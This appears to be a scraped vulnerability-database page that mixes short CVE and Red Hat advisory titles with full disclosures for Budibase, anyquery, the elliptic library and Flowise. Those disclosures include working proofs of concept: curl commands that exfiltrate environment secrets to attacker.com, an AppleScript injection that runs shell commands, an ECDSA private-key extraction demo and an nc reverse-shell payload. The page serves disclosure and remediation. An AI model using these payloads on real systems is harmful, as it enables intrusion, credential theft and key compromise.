Taiga is an open source project management platform. In versions 6.8.3 and earlier, a remote code execution vulnerability exists in the Taiga API due to unsafe deserialization of untrusted data. This issue is fixed in version 6.9.0.

Cross-site Scripting (XSS) - DOM in GitHub repository thorsten/phpmyfaq prior to 3.1.18.

Unrestricted Upload of File with Dangerous Type in GitHub repository polonel/trudesk prior to 1.2.2.

The workflow component in Liferay Portal 7.3.2 through 7.4.3.111, and Liferay DXP 2023.Q4.0 through 2023.Q4.5, 2023.Q3.1 through 2023.Q3.8, 7.4 GA through update 92 and 7.3 GA through update 36 does not properly check user permissions before updating a workflow definition, which allows remote authenticated users to modify workflow definitions and execute arbitrary code (RCE) via the headless API.

Business Logic Errors in GitHub repository erudika/para prior to 1.45.11.

This is an entry in the RustSec database for the Wasmtime security advisory
located at
https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-jhxm-h53p-jm7w
For more information see the GitHub-hosted security advisory.

Red Hat Security Advisory: krb5 security update

Red Hat Security Advisory: freeradius:3.0 security update

### Summary
An unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as `root` inside the container.

### Details

**Vulnerable endpoint — `packages/server/src/api/routes/webhook.ts` line 13:**

```typescript
// this shouldn't have authorisation, right now its always public
publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger)
```

The webhook trigger endpoint is registered on `publicRoutes` with **no authentication
middleware**. Any unauthenticated HTTP client can POST to this endpoint.

**Vulnerable sink — `packages/server/src/automations/steps/bash.ts` lines 21–26:**

```typescript
const command = processStringSync(inputs.code, context)
stdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString()
```

The Bash automation step uses Handlebars template processing (`processStringSync`) on
`inputs.code`, substituting values from the webhook request body into the shell command
string before passing it to `execSync()`.

**Attack chain:**

```
HTTP POST /api/webhooks/trigger/{appId}/{webhookId}   ← NO AUTH
        ↓
controller.trigger()  [webhook.ts:90]
        ↓
triggers.externalTrigger()
        ↓ webhook fields flattened into automation context
automation.steps[EXECUTE_BASH].run()  [actions.ts:131]
        ↓
processStringSync("{{ trigger.cmd }}", { cmd: "ATTACKER_PAYLOAD" })
        ↓
execSync("ATTACKER_PAYLOAD")                          ← RCE AS ROOT
```

**Precondition:** An admin must have created and published an automation containing:
1. A Webhook trigger
2. A Bash step whose `code` field uses a trigger field template (e.g., `{{ trigger.cmd }}`)

This is a legitimate and documented workflow. Such configurations may exist in
production deployments for automation of server-side tasks.

**Note on EXECUTE_BASH availability:** The bash step is only registered when
`SELF_HOSTED=1` (`actions.ts` line 129), which applies to all self-hosted deployments:

```typescript
// packages/server/src/automations/actions.ts line 126-132
// don't add the bash script/definitions unless in self host
if (env.SELF_HOSTED) {
  ACTION_IMPLS["EXECUTE_BASH"] = bash.run
  BUILTIN_ACTION_DEFINITIONS["EXECUTE_BASH"] = automations.steps.bash.definition
}
```

**Webhook context flattening** (why `{{ trigger.cmd }}` works):

In `packages/server/src/automations/triggers.ts` lines 229–239, for webhook automations
the `params.fields` are spread directly into the trigger context:

```typescript
// row actions and webhooks flatten the fields down
else if (sdk.automations.isWebhookAction(automation)) {
  params = {
    ...params,
    ...params.fields,  // { cmd: "PAYLOAD" } becomes top-level
    fields: {},
  }
}
```

This means a webhook body `{"cmd": "id"}` becomes accessible as `{{ trigger.cmd }}`
in the bash step template.

### PoC

#### Environment

```
Target:  http://TARGET:10000   (any self-hosted Budibase instance)
Tester:  Any machine with curl
Auth:    Admin credentials required for SETUP PHASE only
         Zero auth required for EXPLOITATION PHASE
```

---

#### PHASE 1 — Admin Setup (performed once by legitimate admin)

> **Note:** This phase represents normal Budibase usage. Any admin who creates
> a webhook automation with a bash step using template variables creates this exposure.

**Step 1 — Authenticate as admin:**

```bash
curl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \
  -H "Content-Type: application/json" \
  -d '{
    "username": "admin@company.com",
    "password": "adminpassword"
  }'

# Expected response:
# {"message":"Login successful"}
```

**Step 2 — Create an application:**

```bash
curl -b cookies.txt -X POST http://TARGET:10000/api/applications \
  -H "Content-Type: application/json" \
  -d '{
    "name": "MyApp",
    "useTemplate": false,
    "url": "/myapp"
  }'

# Note the appId from the response, e.g.:
# "appId": "app_dev_c999265f6f984e3aa986788723984cd5"

APP_ID="app_dev_c999265f6f984e3aa986788723984cd5"
```

**Step 3 — Create automation with Webhook trigger + Bash step:**

```bash
curl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -d '{
    "name": "WebhookBash",
    "type": "automation",
    "definition": {
      "trigger": {
        "id": "trigger_1",
        "name": "Webhook",
        "event": "app:webhook:trigger",
        "stepId": "WEBHOOK",
        "type": "TRIGGER",
        "icon": "paper-plane-right",
        "description": "Trigger an automation when a HTTP POST webhook is hit",
        "tagline": "Webhook endpoint is hit",
        "inputs": {},
        "schema": {
          "inputs": { "properties": {} },
          "outputs": {
            "properties": { "body": { "type": "object" } }
          }
        }
      },
      "steps": [
        {
          "id": "bash_step_1",
          "name": "Bash Scripting",
          "stepId": "EXECUTE_BASH",
          "type": "ACTION",
          "icon": "git-branch",
          "description": "Run a bash script",
          "tagline": "Execute a bash command",
          "inputs": {
            "code": "{{ trigger.cmd }}"
          },
          "schema": {
            "inputs": {
              "properties": { "code": { "type": "string" } }
            },
            "outputs": {
              "properties": {
                "stdout": { "type": "string" },
                "success": { "type": "boolean" }
              }
            }
          }
        }
      ]
    }
  }'

# Note the automation _id from response, e.g.:
# "automation": { "_id": "au_b713759f83f64efda067e17b65545fce", ... }

AUTO_ID="au_b713759f83f64efda067e17b65545fce"
```

**Step 4 — Enable the automation** (new automations start as disabled):

```bash
# Fetch full automation JSON
AUTO=$(curl -sb cookies.txt "http://TARGET:10000/api/automations/$AUTO_ID" \
  -H "x-budibase-app-id: $APP_ID")

# Set disabled: false and PUT it back
UPDATED=$(echo "$AUTO" | python3 -c "
import sys, json
d = json.load(sys.stdin)
d['disabled'] = False
print(json.dumps(d))
")

curl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -d "$UPDATED"
```

**Step 5 — Create webhook linked to the automation:**

```bash
curl -b cookies.txt -X PUT "http://TARGET:10000/api/webhooks/" \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -d "{
    \"name\": \"MyWebhook\",
    \"action\": {
      \"type\": \"automation\",
      \"target\": \"$AUTO_ID\"
    }
  }"

# Note the webhook _id from response, e.g.:
# "webhook": { "_id": "wh_f811a038ed024da78b44619353d4af2b", ... }

WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"
```

**Step 6 — Publish the app to production:**

```bash
curl -b cookies.txt -X POST "http://TARGET:10000/api/applications/$APP_ID/publish" \
  -H "x-budibase-app-id: $APP_ID"

# Expected: {"status":"SUCCESS","appUrl":"/myapp"}

# Production App ID = strip "dev_" from dev ID:
# app_dev_c999265f... → app_c999265f...
PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"
```

---

#### PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)

The attacker only needs the production `app_id` and `webhook_id`.
These can be obtained via:
- Enumeration of the Budibase web UI (app URLs are semi-public)
- Leaked configuration files or environment variables
- Insider knowledge or social engineering

**Step 7 — Basic RCE — whoami/id:**

```bash
PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"
WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"
TARGET="http://TARGET:10000"

# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"id"}'

# HTTP Response (immediate):
# {"message":"Webhook trigger fired successfully"}

# Command executes asynchronously inside container as root.
# Output confirmed via container inspection or exfiltration.
```

**Step 8 — Exfiltrate all secrets:**

```bash
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}'
```

Confirmed secrets leaked (no auth):
```
JWT_SECRET=testsecret
API_ENCRYPTION_KEY=testsecret
COUCH_DB_URL=http://budibase:budibase@couchdb-service:5984
REDIS_PASSWORD=budibase
REDIS_URL=redis-service:6379
MINIO_ACCESS_KEY=budibase
MINIO_SECRET_KEY=budibase
INTERNAL_API_KEY=budibase
LITELLM_MASTER_KEY=budibase
```

### Impact
- **Who is affected:** All self-hosted Budibase deployments (`SELF_HOSTED=1`) where
  any admin has created an automation with a Bash step that uses webhook trigger field
  templates. This is a standard, documented workflow.

- **What can an attacker do:**
  - Execute arbitrary OS commands as `root` inside the application container
  - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys
  - Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet
  - Establish reverse shells and persistent access
  - Read/write/delete all application data via CouchDB access
  - Forge JWT tokens using the leaked `JWT_SECRET` to impersonate any user
  - Potentially escape the container if `--privileged` or volume mounts are used

- **Authentication required:** **None** — completely unauthenticated
- **User interaction required:** **None**
- **Network access required:** Only access to port 10000 (the Budibase proxy port)



Discovered By:
Abdulrahman Albatel
Abdullah Alrasheed

Red Hat Security Advisory: git security update

Red Hat Security Advisory: samba security update

Red Hat Security Advisory: rh-python36-python-jinja2 security update

Red Hat Security Advisory: freeradius security update

Red Hat Security Advisory: libsoup security update

# AppleScript/JXA Code Injection via Unescaped URL in macOS Chrome Plugin

| Field            | Value |
| ---------------- | ----- |
| Repository       | julien040/anyquery |
| Affected version | 0.4.4 (commit 0abd460) |
| Vulnerability    | CWE-94 — Improper Control of Generation of Code |
| Severity         | High |

## Summary

The `chrome_tabs` plugin (and equivalent Brave/Edge/Safari variants) interpolates a SQL-controlled `url` value directly into an AppleScript template via `fmt.Sprintf(newTabScript, url)` at `plugins/chrome/tabs.go:141` without any escaping, then passes the result to `exec.Command("osascript", "-e", ...)`. An authenticated anyquery user who can issue SQL `INSERT INTO chrome_tabs` statements — which requires local CLI access — can break out of the `{URL:"..."}` property record with a newline-containing payload and inject arbitrary AppleScript statements, including `do shell script`, achieving OS-level command execution on the macOS host. The same pattern applies to the `Update` path at `tabs.go:169` via the JXA `setURL.js` script.

## Affected Code

`plugins/chrome/tabs.go:141` — SQL-supplied `url` interpolated unescaped into AppleScript template, then executed via `osascript -e`

```go
func (t *tabsTable) Insert(rows [][]interface{}) error {
	for _, row := range rows {
		url := "chrome://newtab/"
		if rawURL, ok := row[2].(string); ok {
			url = rawURL
		}

		cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, url))
		output, err := cmd.CombinedOutput()
		if err != nil {
			return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(newTabScript, url))
		}

	}

	return nil
}
```

`plugins/chrome/tabs.go:169` — `Update` path interpolates `url` into JXA `setURL.js` template with identical lack of escaping

```go
		if url != "" {
			cmd := exec.Command("osascript", "-l", "JavaScript", "-e", fmt.Sprintf(setURLScript, pk, url))
			output, err := cmd.CombinedOutput()
			if err != nil {
				return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(setURLScript, pk, url))
			}
		}
```

SQL INSERT `url` column (row[2]) flows through `tabsTable.Insert` → `fmt.Sprintf(newTabScript, url)` → `exec.Command("osascript", "-e", <injected script>)` at `tabs.go:141`.

## Proof of Concept

Step 1 — Insert a newline-bearing URL via SQL: the generated AppleScript closes the `{URL:"..."}` property record and appends an injected `do shell script "id"` block, which is passed verbatim to `osascript -e`.

```bash
docker build -f Dockerfile -t anyquery-vuln001 .
docker run --rm anyquery-vuln001 'x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done'
```

```text
SQL equivalent: INSERT INTO chrome_tabs (url) VALUES ('<INJECT_URL>')
where INJECT_URL =
x"}
end tell
do shell script "id"
tell application "Google Chrome"
	make new tab with properties {URL:"done
```

```text
[sink:tabs.go:141] Script passed to osascript -e:
tell application "Google Chrome"
        make new tab with properties {URL:"x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done"} at end of tabs of first window
end tell
[mock-osascript] Received script:
tell application "Google Chrome"
        make new tab with properties {URL:"x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done"} at end of tabs of first window
end tell

RESULT: PASS — injection payload reached osascript -e verbatim; "do shell script \"id\"" present in generated script (tabs.go:141)
```

See attached files: Dockerfile, poc/inject_demo.go, poc/go.mod
[vuln-001.zip](https://github.com/user-attachments/files/27945214/vuln-001.zip)

## Impact

Any local user authenticated to the anyquery CLI who can run SQL against the `chrome_tabs` virtual table can achieve arbitrary OS command execution on the macOS host with the privileges of the anyquery process. Because anyquery exposes its SQL interface over an HTTP server (accessible to any user who can reach the endpoint), this can be exploited by any client with INSERT or UPDATE access to the browser-tab plugins, without requiring Chrome credentials or macOS admin rights. The injected AppleScript runs under the user's macOS session, giving access to the file system, keychain prompts, and any application scriptable via Apple Events.

## Remediation

Escape double-quote and newline characters in the `url` value before interpolation, or avoid string templating entirely. Specifically in `plugins/chrome/tabs.go`:

```go
// Replace fmt.Sprintf(newTabScript, url) with:
safeURL := strings.ReplaceAll(url, `"`, `\"`)
safeURL = strings.ReplaceAll(safeURL, "\n", "")
safeURL = strings.ReplaceAll(safeURL, "\r", "")
cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, safeURL))
```

A more robust fix is to pass the URL as an AppleScript variable declared via a `-e` prefix argument rather than string-interpolating it into the script body, or to use the `osascript` `argv` mechanism so the URL never appears inside the script source. Apply the same fix to `fmt.Sprintf(setURLScript, pk, url)` at `tabs.go:169` for the `Update` path. Validate that the URL conforms to an allowed scheme (`https://`, `http://`, `chrome://`) before passing it to either handler.

### Summary

Private key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input

Note that `elliptic` by design accepts hex strings as one of the possible input types

### Details

In this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107

`msg` is a BN instance after conversion, but `nonce` is an array, and different BN instances could generate equivalent arrays after conversion.

Meaning that a same `nonce` could be generated for different messages used in signing process, leading to `k` reuse, leading to private key extraction from a pair of signatures

Such a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction

While signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still _should not_ leak the private key

Also, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain

### PoC

#### `k` reuse example

```js
import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'ed25519' // or any other curve, e.g. secp256k1
const ec = new EC(curve)
const prettyprint = ({ r, s }) => `r: ${r}, s: ${s}`
const sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones
const sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form
const sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same `r`, different `s`
console.log({ sig0, sig1, sig2 })
```

#### Full attack

This doesn't include code for generation/recovery on a purpose (bit it's rather trivial)

```js
import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'secp256k1' // or any other curve, e.g. ed25519
const ec = new EC(curve)

// Any message, e.g. previously known signature
const msg0 = crypto.getRandomValues(new Uint8Array(32))
const sig0 = ec.sign(msg0, privateKey)

// Attack
const msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types
const sig1 = ec.sign(msg1, privateKey)

const something = extract(msg0, sig0, sig1, curve)

console.log('Curve:', curve)
console.log('Typeof:', typeof msg1)
console.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something)
const rnd = crypto.getRandomValues(new Uint8Array(32))
const st = (x) => JSON.stringify(x)
console.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER()))
console.log('Orig key:', Buffer.from(privateKey).toString('hex'))
console.log('Restored:', something)
```

Output:
```console
Curve: secp256k1
Typeof: string
Keys equal? true
Keys equivalent? true
Orig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Restored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
```

Similar for `ed25519`, but due to low `n`, the key might not match precisely but is nevertheless equivalent for signing:
```console
Curve: ed25519
Typeof: string
Keys equal? false
Keys equivalent? true
Orig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189
Restored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6
```
`restored` is equal to `orig` mod `N`.

### Impact

Full private key extraction when signing a single malicious message (that passes `JSON.stringify`/`JSON.parse`)

=============================================================================
                                                            Security Advisory
                                                                       elttam

Topic:          Flowise RCE via TypeORM DataSource

Module:         FlowiseAI/Flowise
Disclosed:      15-Apr-2026
Credits:        Alex Brown
Affects:        `FlowiseAI/Flowise 3.1.2`

# I.   Background

Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.

Flowise allows users to connect to remote databases within a flow, which is performed using the [TypeORM `DataSource`](https://typeorm.io/docs/data-source/data-source).

# II.  Problem Description

The following nodes allowed users to set arbitrary options for the TypeORM `DataSource` class using the `additionalConfig` node input:

* [packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts#L122)
* [packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/465005a5036d9c4e5e3a7675527fa4cf9cff7507/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts)
* [packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/465005a5036d9c4e5e3a7675527fa4cf9cff7507/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts)
* [packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts](https://github.com/FlowiseAI/Flowise/blob/5a37227d14dbe34234aa1cca97bc12092e0dbcd6/packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts)
* [packages/components/nodes/memory/AgentMemory/AgentMemory.ts](https://github.com/FlowiseAI/Flowise/blob/5a37227d14dbe34234aa1cca97bc12092e0dbcd6/packages/components/nodes/memory/AgentMemory/AgentMemory.ts)

This is considered a dangerous coding practice, because the [options for the TypeORM `DataSource` class support loading local files as JavaScript code](https://typeorm.io/docs/data-source/data-source).

The following documents the steps to reproduce this RCE vulnerability by abusing the `additionalConfig` input on a MySQL Record Manager (`packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts`) node:

1. Log into a Flowise instance and note the organisation ID in the response from `POST /api/v1/auth/login`, as shown below.

```http
HTTP/1.1 200 OK
Set-Cookie: token=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: refreshToken=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: connect.sid=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 671
ETag: W/"29f-xnGhZVNYDhOOLUuVSPq0rZLC8mE"
Date: Wed, 15 Apr 2026 10:58:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "activeOrganizationCustomerId": null,
    "activeOrganizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
    "activeOrganizationProductId": "",
    "activeOrganizationSubscriptionId": null,
    "activeWorkspace": "Default Workspace",
    "activeWorkspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e",
    "assignedWorkspaces": [
        {
            "id": "3206d8d3-944f-48c6-9332-11e2752b793e",
            "name": "Default Workspace",
            "organizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
            "role": "owner"
        }
    ],
    "email": "admin@flowise.local",
    "features": {},
    "id": "b60bc90f-c77d-41ba-bb7b-cbd7f9e6d4ab",
    "isOrganizationAdmin": true,
    "isSSO": false,
    "name": "Admin",
    "permissions": [
        "organization",
        "workspace"
    ],
    "roleId": "b1d1a990-b908-1f7f-889b-5603cb093ff1"
}
```
<1> The organisation ID that is required for a later step.

2. Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the `vm2` sandbox. The following script is a reverse shell payload that connects to `172.17.0.1:1337` that had a filename of `rce.js`.

```js
process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')
```

3. Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the 
`POST /api/v1/document-store/loader/process/{loader_id}` endpoint and retrieve the `storeId`, as demonstrated in the response below.

```http
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 1000
ETag: W/"3e8-7uqpJlOmso3F99EQLpeEzY2xh/o"
Date: Wed, 15 Apr 2026 10:59:34 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "characters": 94,
    "chunks": [
        {
            "chunkNo": 1,
            "docId": "544ff838-bc55-4b28-97a1-c7442710b014",
            "id": "7f5f4d41-f684-4b16-9b3c-c1623678e7a0",
            "metadata": "{\"source\":\"blob\",\"blobType\":\"\"}",
            "pageContent": "process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')",
            "storeId": "afb065cc-8b53-4ff3-82d3-a19e012a2ecb" <1>
        }
    ],
    "count": 1,
    "currentPage": 1,
    "description": "",
    "docId": "544ff838-bc55-4b28-97a1-c7442710b014",
    "file": {
        "files": [
            {
                "id": "5becc8f6-713b-4c6b-8ca8-3275791a730c",
                "mimePrefix": "application/x-javascript",
                "name": "rce.js",
                "size": 94,
                "status": "NEW",
                "uploaded": "2026-04-15T10:59:34.039Z"
            }
        ],
        "id": "544ff838-bc55-4b28-97a1-c7442710b014",
        "loaderConfig": {
            "file": "FILE-STORAGE::[\"rce.js\"]",
            "legacyBuild": "",
            "metadata": "",
            "omitMetadataKeys": "",
            "pointerName": "",
            "textSplitter": "",
            "usage": "perPage"
        },
        "loaderId": "fileLoader",
        "loaderName": "RCE File",
        "status": "SYNC",
        "totalChars": 94,
        "totalChunks": 1
    },
    "storeName": "RCE POC Store",
    "workspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e"
}
```
<1> The store ID that is required for a later step.

4. Import the following Chatflow and configure the "MySQL Record Manager", "OpenAI Embedding" and "Weaviate" nodes.

[typeorm-datasource-rce.json](https://github.com/user-attachments/files/26752045/typeorm-datasource-rce.json)

5. Open the "Additional Parameters" window for the "MySQL Record Manager" node replace the placeholder values in the `additionalConfig.entities` setting. The `${HOME}` is the home directory of the user running the Flowise server (e.g., [`/root` on the published Docker image](https://hub.docker.com/layers/flowiseai/flowise/3.1.2/images/sha256-ddba104d8e50fbc1e72c6fe021d012be83e66d78d26816e1a6a3fddab4212eff)). The screenshot below shows an example path for the reverse shell payload that was uploaded in the previous steps.

<img width="2229" height="1148" alt="mysql-datasource-config" src="https://github.com/user-attachments/assets/f4351ee2-9761-458d-a2f8-cf21383394a2" />

6. Start an Upsert operation and observe the reverse shell payload being executed, as demonstrated in the terminal output below.

```
$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 43421
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```

# III. Impact

This sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise, resulting in full compromise of the application.

# IV.  Solution

Do not allow users full control of the options for the TypeORM `DataSource` class. The following [`DataSource` options](https://typeorm.io/docs/data-source/data-source-options/) are considered dangerous and should not be allowed:

* `extra`: Could be abused to provide dangerous driver options.
* `entities`: Could be abused to load arbitrary JavaScript files.
* `subscribers`: Could be abused to load arbitrary JavaScript files.
* `migrations`: Could be abused to load arbitrary JavaScript files.

Red Hat Security Advisory: mariadb:10.3 security, bug fix, and enhancement update

Red Hat Security Advisory: go-toolset:rhel8 security update

Red Hat Security Advisory: mariadb:10.11 security update

Cross-site Scripting (XSS) - Stored in GitHub repository causefx/organizr prior to 2.1.2200.

CVE ID↕	Published↕	CVSS↓
CVE-2025-62368	Oct 28, 2025	Critical 9
CVE-2023-5320	Sep 30, 2023	Critical 9
CVE-2022-1752	May 21, 2022	Critical 9
GHSA-3mfq-fp2f-vwqh	Oct 22, 2024	Critical 9
CVE-2022-1848	May 24, 2022	Critical 9
RUSTSEC-2026-0096	Apr 9, 2026	Critical 9
RHSA-2024:8794	Nov 13, 2024	Critical 9
RHSA-2024:4913	Sep 16, 2024	Critical 9
GHSA-fcm4-4pj2-m5hf	Apr 4, 2026	Critical 9
RHSA-2024:6027	Sep 18, 2024	Critical 9
RHSA-2026:22963	Jun 4, 2026	Critical 9
RHSA-2019:1329	Sep 13, 2024	Critical 9
RHSA-2026:25049	Jun 11, 2026	Critical 9
RHSA-2024:4912	Sep 16, 2024	Critical 9
RHSA-2025:4560	May 7, 2025	Critical 9
GHSA-hrj8-hjv8-mgwc	Jun 8, 2026	Critical 9
GHSA-vjh7-7g9h-fjfh	Feb 12, 2025	Critical 9
GHSA-g32j-mmxr-gfq5	Aug 4, 2026	Critical 9
RHSA-2020:5654	Sep 13, 2024	Critical 9
RHSA-2025:0791	Jan 30, 2025	Critical 9
RHSA-2026:16698	May 13, 2026	Critical 9
RHSA-2025:0847	Jan 31, 2025	Critical 9
RHSA-2026:52848	Aug 11, 2026	Critical 9
CVE-2022-1909	May 27, 2022	Critical 9

Know every vulnerability
before it knows you.

Critical CVE Vulnerabilities (CVSS 9–10) — DevGuard

Know every vulnerabilitybefore it knows you.

Critical CVE Vulnerabilities (CVSS 9–10) — DevGuard

Know every vulnerability
before it knows you.